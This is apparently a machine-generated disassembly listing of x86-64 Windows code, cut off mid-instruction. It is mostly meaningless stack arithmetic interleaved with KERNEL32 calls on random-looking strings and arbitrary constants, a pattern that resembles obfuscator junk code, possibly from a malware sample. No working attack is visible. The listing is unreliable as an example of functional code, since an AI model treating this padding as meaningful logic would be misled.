mov word [rsp + 0x2c70], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
mov byte [rsp + 0x67b], al
lea rdx, [rsp + 0xa614]
mov rcx, qword [rsp + 0x14370]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa444], eax
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6630], eax
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
mov dword [rsp + 0xa618], eax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281dce], al
movsx eax, word [rsp + 0x2c78]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14138]
mov word [rcx], ax
movzx eax, byte [0x140281dbb]
movzx ecx, byte [rsp + 0x21d]
and eax, ecx
mov byte [rsp + 0x65a], al
movzx eax, word [rsp + 0x2098]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f98], ax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [0x1402826f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa384], eax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov dword [rsp + 0xa61c], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0xa390]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e20], eax
mov eax, dword [rsp + 0xa238]
mov ecx, dword [rsp + 0xa600]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7700], eax
mov eax, dword [rsp + 0xa3a0]
mov dword [rsp + 0xa620], eax
movzx eax, byte [rsp + 0x302]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x644], al
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [0x14028ede4]
or eax, ecx
mov rcx, qword [0x14028edf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x144a8]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8c5c], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8fc8]
shl eax, cl
mov dword [rsp + 0xa458], eax
mov rax, qword [rsp + 0x144d8]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa340], eax
mov eax, dword [rsp + 0xa490]
mov dword [rsp + 0xa624], eax
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x678], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov word [rsp + 0x2c88], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x642]
sub eax, ecx
mov byte [rsp + 0x643], al
mov rax, qword [rsp + 0x14428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fa0]
add eax, ecx
mov word [rsp + 0x1598], ax
lea rax, [rsp + 0xa3fc]
mov qword [0x14028edb8], rax
mov eax, dword [rsp + 0x65a8]
mov ecx, dword [rsp + 0x9a1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ee18]
sub eax, ecx
mov byte [rsp + 0x675], al
lea rax, [rsp + 0x2098]
mov qword [rsp + 0x14590], rax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa530]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa4e4], eax
mov eax, dword [0x14028edd8]
mov dword [rsp + 0xa628], eax
mov eax, dword [rsp + 0xa398]
mov ecx, dword [rsp + 0xa5cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5a8], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0x8b64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3f8], eax
movzx eax, word [0x140282698]
mov word [rsp + 0x2c8c], ax
movzx eax, byte [rsp + 0x656]
mov rcx, qword [rsp + 0x14148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281dab], al
mov eax, dword [rsp + 0xa564]
mov ecx, dword [rsp + 0x8c5c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7600], eax
mov eax, dword [0x140282708]
mov dword [rsp + 0xa62c], eax
mov eax, dword [rsp + 0xa2b0]
movzx ecx, al
mov eax, dword [rsp + 0xa5ec]
sar eax, cl
mov dword [rsp + 0x71a4], eax
mov eax, dword [rsp + 0xa48c]
movzx ecx, al
mov eax, dword [rsp + 0xa590]
shl eax, cl
mov dword [rsp + 0xa3c8], eax
mov rax, qword [0x14028edd0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7790], eax
movsx eax, word [rsp + 0x2c2c]
movsx ecx, word [rsp + 0x2c60]
imul eax, ecx
mov word [rsp + 0x1598], ax
mov rax, qword [rsp + 0x14120]
movzx eax, byte [rax]
mov byte [rsp + 0x67c], al
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14480]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a7], al
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bc4]
sub eax, ecx
mov word [0x14028eeb0], ax
mov rax, qword [0x14028ee98]
mov eax, dword [rax]
mov dword [rsp + 0xa630], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8c5c], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x141a0]
mov byte [rcx], al
movzx eax, word [0x14028271c]
movzx ecx, word [rsp + 0x2b90]
sub eax, ecx
mov word [rsp + 0x2958], ax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14260]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa494], eax
mov eax, dword [rsp + 0xa524]
mov dword [rsp + 0xa634], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x142d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa480], eax
mov eax, dword [rsp + 0xa4b8]
mov ecx, dword [rsp + 0xa3e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov byte [0x14028edb0], al
movzx eax, word [rsp + 0x2bcc]
mov word [rsp + 0x2c90], ax
mov rax, qword [rsp + 0x142b8]
mov ecx, dword [rsp + 0x6c58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa628], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d08]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ae8], eax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64e]
sar eax, cl
mov byte [rsp + 0x35f], al
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b98]
shl eax, cl
mov word [rsp + 0x2be8], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1e7e
mov r9d, 0x2379
mov r8d, 0xb06753a8
mov edx, 1
mov rcx, qword [rsp + 0x14508]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa2a4], eax
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
mov byte [rsp + 0x67d], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x141d8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.nHBYL7QLuzg7tq7k
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14598], rax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov dword [rsp + 0xa638], eax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x144c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282738], eax
mov eax, dword [rsp + 0xa3a0]
mov ecx, dword [rsp + 0xa498]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14588]
mov ecx, dword [0x14028ee58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8be0], eax
mov rax, qword [rsp + 0x140c8]
mov rcx, qword [rsp + 0x143a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9228], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
add eax, ecx
mov word [rsp + 0x2098], ax
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
mov byte [rsp + 0x67e], al
mov eax, dword [rsp + 0xa264]
mov ecx, dword [rsp + 0xa454]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa558], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa3b0], eax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov dword [rsp + 0xa63c], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa3c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a0c], eax
lea rcx, [rsp + 0x225a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x2b3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b3c], ax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa530]
sub ecx, eax
mov eax, ecx
mov dword [0x1402826ac], eax
movzx eax, word [rsp + 0x2c0c]
movzx ecx, word [rsp + 0x2be4]
add eax, ecx
mov word [rsp + 0x2c5c], ax
movzx eax, byte [rsp + 0x666]
mov byte [rsp + 0x67f], al
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x619], al
mov rax, qword [rsp + 0x14428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x24a0]
sar eax, cl
mov word [rsp + 0x1d44], ax
mov rax, qword [0x14028ee38]
mov ecx, dword [rsp + 0x70f8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa59c], eax
mov eax, dword [rsp + 0xa54c]
mov ecx, dword [rsp + 0xa5d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e0], eax
movzx eax, word [0x14028ede4]
mov word [rsp + 0x2c94], ax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x637], al
lea rax, [rsp + 0x80c0]
mov qword [0x14028eda8], rax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov dword [rsp + 0xa640], eax
mov rax, qword [rsp + 0x14288]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa270], eax
lea rcx, str.T7Bm4
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c98], ax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4a0], eax
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e20], ax
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14278]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3db], al
mov eax, dword [rsp + 0xa410]
mov dword [rsp + 0xa644], eax
mov eax, dword [0x14028272c]
mov ecx, dword [rsp + 0xa62c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3c0], eax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa540]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5a4], eax
mov rax, qword [rsp + 0x14578]
mov rcx, qword [0x14028ee90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028ee88], eax
mov eax, dword [rsp + 0xa420]
mov dword [rsp + 0xa648], eax
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x142c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b54], ax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40b], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65d]
add eax, ecx
mov byte [rsp + 0x671], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov word [rsp + 0x2c9c], ax
mov eax, dword [0x1402826a8]
mov ecx, dword [rsp + 0xa450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b4], eax
mov eax, dword [rsp + 0xa578]
mov rcx, qword [rsp + 0x144f0]
mov qword [rsp + 0x145a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa270], eax
lea rax, [rsp + 0x666]
mov qword [rsp + 0x145a8], rax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [0x14028ede4]
xor eax, ecx
mov word [0x14028273c], ax
mov eax, dword [rsp + 0x6c58]
mov ecx, dword [rsp + 0xa5d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa160], eax
mov eax, dword [rsp + 0x9228]
mov dword [rsp + 0xa64c], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x144e0]
mov qword [rsp + 0x145b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa3c0], eax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2574], ax
movzx eax, byte [rsp + 0x633]
movzx ecx, byte [rsp + 0x63d]
sub eax, ecx
mov byte [rsp + 0x661], al
mov eax, dword [rsp + 0x81a4]
mov dword [rsp + 0xa650], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa40c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5a0], eax
movsx eax, word [rsp + 0x2c40]
movsx ecx, word [rsp + 0x2bd4]
add eax, ecx
mov word [0x140282718], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c7], al
movzx eax, word [0x14028eeb0]
mov word [rsp + 0x2ca0], ax
movzx eax, byte [rsp + 0x651]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65d], al
mov rax, qword [0x14028eda8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c24], eax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x14560]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5a4], eax
lea rax, [rsp + 0x9580]
mov qword [rsp + 0x145b8], rax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14438]
mov qword [rsp + 0x145c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa5c4], eax
mov eax, dword [rsp + 0xa494]
mov ecx, dword [rsp + 0xa600]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov word [rsp + 0x2ca4], ax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14028eea0], al
mov eax, dword [rsp + 0x80c0]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x145c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa508], eax
mov rcx, qword [rsp + 0x14328]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa5fc], eax
lea rax, [rsp + 0x8fc8]
mov qword [rsp + 0x145d0], rax
mov eax, dword [rsp + 0xa5dc]
mov ecx, dword [rsp + 0xa5ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ae8], eax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [rsp + 0xa4f4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov word [rsp + 0x2ca8], ax
movzx eax, byte [rsp + 0x67f]
mov rcx, qword [rsp + 0x14250]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x34e], al
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0x680], al
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x1dc8]
sub eax, ecx
mov word [rsp + 0x2c10], ax
lea rax, [0x14028edc4]
mov qword [0x14028eda0], rax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x14288]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14490]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c8c]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x159c], ax
movzx eax, byte [0x140281dc2]
movzx ecx, byte [rsp + 0x62f]
add eax, ecx
mov byte [rsp + 0x67f], al
mov eax, dword [rsp + 0xa5a8]
mov dword [rsp + 0xa654], eax
mov eax, dword [rsp + 0xa3e0]
mov ecx, dword [rsp + 0xa5d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x143a8]
mov eax, dword [rax]
mov ecx, dword [0x1402826ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa414], eax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov dword [rsp + 0xa658], eax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x636]
sub eax, ecx
mov byte [rsp + 0x638], al
movzx eax, word [rsp + 0x2c30]
mov word [0x14028ed9e], ax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x14568]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa65c], eax
mov rax, qword [rsp + 0x14510]
mov ecx, dword [rsp + 0xa518]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8af4], eax
mov eax, dword [0x1402826ec]
mov ecx, dword [rsp + 0xa558]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x94dc], eax
lea rcx, [rsp + 0x24470]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa3d8], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov dword [rsp + 0xa660], eax
mov eax, dword [rsp + 0x7c54]
movzx ecx, al
mov eax, dword [rsp + 0xa648]
sar eax, cl
mov dword [rsp + 0xa47c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa434]
shl eax, cl
mov rcx, qword [rsp + 0x142d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142c0]
movzx eax, word [rax]
mov word [rsp + 0x2cac], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x643]
and eax, ecx
mov byte [rsp + 0x63b], al
movzx eax, byte [rsp + 0x638]
movzx ecx, byte [rsp + 0x67e]
sub eax, ecx
mov byte [rsp + 0x3ed], al
lea rcx, str.I_UVX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cb0], ax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b20]
add eax, ecx
mov word [0x1402826a4], ax
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14588]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa520]
mov ecx, dword [rsp + 0xa384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa33c], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov byte [rsp + 0x681], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, word [rsp + 0x1820]
movzx ecx, word [rsp + 0x2964]
sub eax, ecx
mov rcx, qword [rsp + 0x14130]
mov word [rcx], ax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov dword [rsp + 0xa664], eax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa384], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x718c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa39c], eax
lea rax, [rsp + 0xa5b8]
mov qword [rsp + 0x145d8], rax
mov dword [rsp + 0x20], 0xff6
mov r9d, 0x1d10
mov r8d, 0x3ef3
mov edx, 0x1ab0
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa668], eax
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c58]
add eax, ecx
mov word [0x140282740], ax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65f], al
mov eax, dword [rsp + 0xa33c]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x145e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x96e0], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141e8]
mov dword [rcx], eax
lea rax, [rsp + 0x2b54]
mov qword [rsp + 0x145e8], rax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x63e]
xor eax, ecx
mov byte [rsp + 0x64f], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa610], eax
movzx eax, byte [rsp + 0x669]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x648], al
movzx eax, word [rsp + 0x2c14]
mov word [rsp + 0x2cb4], ax
mov eax, dword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x7c24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x976c], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c60]
sub ecx, eax
mov eax, ecx
mov dword [0x140282690], eax
mov eax, dword [rsp + 0xa278]
mov dword [rsp + 0xa66c], eax
mov eax, dword [rsp + 0x976c]
mov ecx, dword [rsp + 0x9dbc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x820c], eax
mov rax, qword [rsp + 0x140c8]
mov rcx, qword [rsp + 0x143a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa544], eax
movzx eax, byte [rsp + 0x2a7]
mov byte [rsp + 0x682], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0x14300]
mov ecx, dword [0x14028ede0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8c08], eax
mov eax, dword [rsp + 0xa4ac]
mov ecx, dword [rsp + 0xa61c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8598], eax
mov eax, dword [0x1402826b4]
mov ecx, dword [rsp + 0xa460]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa4b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402826b0], eax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov byte [rsp + 0x683], al
movzx eax, word [rsp + 0x2c8c]
movzx ecx, word [rsp + 0x2c80]
xor eax, ecx
mov word [rsp + 0x2c58], ax
lea rax, [rsp + 0x65b]
mov qword [rsp + 0x145f0], rax
mov rax, qword [rsp + 0x14448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x145e8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x143c8]
mov word [rcx], ax
mov eax, dword [0x14028269c]
mov rcx, qword [rsp + 0x14180]
mov qword [rsp + 0x145f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x145f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa4cc]
mov dword [rsp + 0xa670], eax
movzx ecx, word [rsp + 0x2c98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ba0], ax
movzx eax, word [rsp + 0x2b80]
movzx ecx, word [rsp + 0x2bf0]
or eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x683]
movzx ecx, byte [rsp + 0x325]
sar eax, cl
mov byte [rsp + 0x586], al
mov rax, qword [rsp + 0x14380]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282744], eax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7ae8], eax
mov eax, dword [rsp + 0x94dc]
mov dword [rsp + 0xa674], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa5c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa100], eax
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
sub eax, ecx
mov word [rsp + 0x2bf8], ax
movzx eax, byte [rsp + 0x645]
mov byte [rsp + 0x684], al
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x141d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa54c], eax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb8], ax
mov eax, dword [rsp + 0xa5ac]
mov ecx, dword [rsp + 0x9580]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa45c], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c60]
